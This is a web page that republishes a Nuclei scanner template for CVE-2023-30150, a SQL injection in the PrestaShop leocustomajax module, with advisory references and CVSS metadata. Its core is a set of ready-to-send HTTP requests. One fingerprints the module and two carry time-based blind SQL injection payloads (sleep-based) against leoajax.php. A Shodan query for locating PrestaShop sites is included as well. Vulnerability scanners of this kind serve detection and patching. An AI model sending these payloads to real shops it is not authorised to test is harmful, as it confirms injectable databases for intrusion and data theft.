CVE-2023-30150: PrestaShop leocustomajax 1.0 & 1.0.0 - SQL Injection

2025-08-01 PrestaShop leocustomajax PoC Public

Description

PrestaShop leocustomajax 1.0 and 1.0.0 are vulnerable to SQL Injection via modules/leocustomajax/leoajax.php.

PoC

id: CVE-2023-30150

info:
  name: PrestaShop leocustomajax 1.0 & 1.0.0 - SQL Injection
  author: mastercho
  severity: critical
  description: |
    PrestaShop leocustomajax 1.0 and 1.0.0 are vulnerable to SQL Injection via modules/leocustomajax/leoajax.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the PrestaShop application and its underlying database.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of PrestaShop leocustomajax plugin to mitigate the SQL Injection vulnerability.
  reference:
    - https://security.friendsofpresta.org/module/2023/06/06/leocustomajax.html
    - https://www.tenable.com/cve/CVE-2023-30150
    - https://friends-of-presta.github.io/security-advisories/module/2023/06/06/leocustomajax.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30150
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30150
    cwe-id: CWE-89
    epss-score: 0.03849
    epss-percentile: 0.89858
    cpe: cpe:2.3:a:leotheme:leocustomajax:1.0.0:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: leotheme
    product: leocustomajax
    framework: prestashop
    shodan-query: http.component:"Prestashop"
  tags: cve,cve2023,prestashop,sqli,time-based-sqli,leotheme,vkev,vuln

variables:
  random_id: "{{rand_text_numeric(13)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /modules/leocustomajax/leocustomajax.js HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_any(body, 'processajax', 'leoajax', 'leocustomajax.css', 'leosearch')"
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /modules/leocustomajax/leoajax.php?rand={{random_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}
        X-Requested-With: XMLHttpRequest

        leoajax=1&pro_add=if(now()=sysdate()%2Csleep(6)%2C0)

      - |
        @timeout: 20s
        GET /modules/leocustomajax/leoajax.php?cat_list=(SELECT(0)FROM(SELECT(SLEEP(6)))a) HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'contains(tolower(body_1), "pro_add")'
        condition: and

      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4a0a00473045022100bfdc841b28c104ab37b2f6980cef94ef082cc4b733ad901834ab98692f9896f202203c7be31616251a22a1a5505a6e1ec6ef51fb0599e78b59212e37dec188b67e51:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities